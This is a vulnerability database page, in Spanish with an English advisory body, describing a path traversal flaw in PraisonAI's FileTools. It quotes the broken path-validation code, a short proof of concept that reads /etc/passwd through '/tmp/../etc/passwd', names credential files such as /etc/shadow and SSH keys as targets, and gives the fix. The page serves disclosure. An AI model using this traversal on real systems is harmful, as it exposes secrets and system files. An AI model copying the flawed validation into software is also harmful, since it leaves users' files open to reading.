Crítica

PraisonAI Has Path Traversal in FileTools

  • Publicada: 06.04.2026
  • Actualizado: 11.10.2026 14:17

Executive Summary:

The path validation has a critical logic bug: it checks for .. AFTER normpath() has already collapsed all .. sequences. This makes the check completely useless and allows trivial path traversal to any file on the system. The path validation function also does not resolve the symlink wich could potentially cause path traversal.

Details:

_validate_path() calls os.path.normpath() first, which collapses .. sequences, then checks for '..' in normalized. Since .. is already collapsed, the check always passes.

Vulnerable File: src/praisonai-agents/praisonaiagents/tools/file_tools.py

Lines: 42-49

python
class FileTools:
    """Tools for file operations including read, write, list, and information."""
    
    @staticmethod
    def _validate_path(filepath: str) -> str:
        # Normalize the path
        normalized = os.path.normpath(filepath)
        absolute = os.path.abspath(normalized)
        
        # Check for path traversal attempts (.. after normalization)
        # We check the original input for '..' to catch traversal attempts
        if '..' in normalized:
            raise ValueError(f"Path traversal detected: {filepath}")
        
        return absolute

Severity: CRITICAL

CVSS v3.1: 9.2 (CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N

CWE: CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Proof of concept (PoC)

Prerequisites:

  • Ability to specify a file path can call file operations

Steps to reproduce: poc.py

python
 from praisonaiagents.tools.file_tools import FileTools

print(FileTools._validate_path('/tmp/../etc/passwd'))
 # Returns: /etc/passwd

print(FileTools.read_file('/tmp/../etc/passwd'))
# Returns: content of /etc/passwd

Why this works:

python
# Current vulnerable code:
normalized = os.path.normpath(filepath)  # Collapses .. HERE
absolute = os.path.abspath(normalized)
if '..' in normalized:  # Check AFTER collapse - ALWAYS FALSE!
    raise ValueError(...)

Impact:

  • Complete bypass of path traversal protection
  • Access to ANY file on the system with path from any starting directory
  • Read sensitive files: /etc/passwd, /etc/shadow, ~/.ssh/id_rsa
  • Write arbitrary files if combined with write operations
  • Affect file operations read_file, write_file, list_files, get_file_info, copy_file, move_file, delete_file, download_file

Additional Notes:

  • Fix: Check for '..' in filepath BEFORE calling normpath(), not after
  • _validate_path uses os.path.normpath and os.path.abspath, which don't resolve symlinks, making it vulnerable to path traversal via symlink if attacker can control the symlink.

Software afectado

Haz clic en una tecnología para ver todas sus vulnerabilidades.

PlataformaPaqueteVersiones vulnerablesCorregida en
Python (PyPI) praisonai < 1.5.113 1.5.113

Referencias

Puntuación CVSS -
Vector CVSS
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N
Debilidad (CWE)
CWE-22
Plataforma
Python (PyPI)
Paquete
praisonai
Publicada
06.04.2026
Actualizado
11.10.2026 14:17

Fuentes y licencias

OSV / GitHub Advisory Database - GHSA-693f-pf34-72c5 - CC BY 4.0

OSV / GitHub Advisory Database - PYSEC-2026-464 - PyPA Advisory Database; CC BY 4.0

Historial de vulnerabilidades: praisonai

Todas las vulnerabilidades publicadas de este paquete (Python (PyPI)), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.

Todas (104) en el archivo
Entradas en total
104
Primera → última
04.2026 10.2026
Sin corrección
0
Explotada en ataques
0

Distribución por gravedad

  • Crítica 27
  • Alta 60
  • Media 17

Divulgaciones por año

  1. 2026: 104
Gravedad:
  1. PraisonAI Has Path Traversal in FileTools esta entrada
    Crítica CVE-2026-35615 < 1.5.113 1.5.113
  2. Alta · 7.5 CVE-2026-61439 < 4.6.78 4.6.78
  3. Alta · 7.3 CVE-2026-56839 < 4.6.59 4.6.59
  4. Alta · 7.2 CVE-2026-57114 >= 4.5.126, < 4.6.59 4.6.59
  5. Crítica · 9.8 CVE-2026-57125 < 4.6.59 4.6.59
  6. Alta · 8.8 CVE-2026-57117 >= 4.6.10, < 4.6.59 4.6.59
  7. Alta · 7.8 CVE-2026-56838 >= 4.5.87, < 4.6.59 4.6.59
Mostrar más (20) Mostrando 41 de 87

Identifica las vulnerabilidades de tu aplicación

Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.

Conectar tu aplicación
Newsletter DockRay

La seguridad de tus aplicaciones en tu correo

Vulnerabilidades importantes, recomendaciones concretas y consejos prácticos para tus aplicaciones. Elige tus tecnologías y sigue lo que importa para tu proyecto.

  • Un resumen diario de nuevas vulnerabilidades, también las críticas.
  • Avisos sobre actualizaciones importantes.
  • Consejos prácticos sobre seguridad y monitorización de aplicaciones.

Déjalo vacío para recibir avisos de todas las tecnologías.

Suscripción gratuita. Date de baja con un clic en cualquier correo.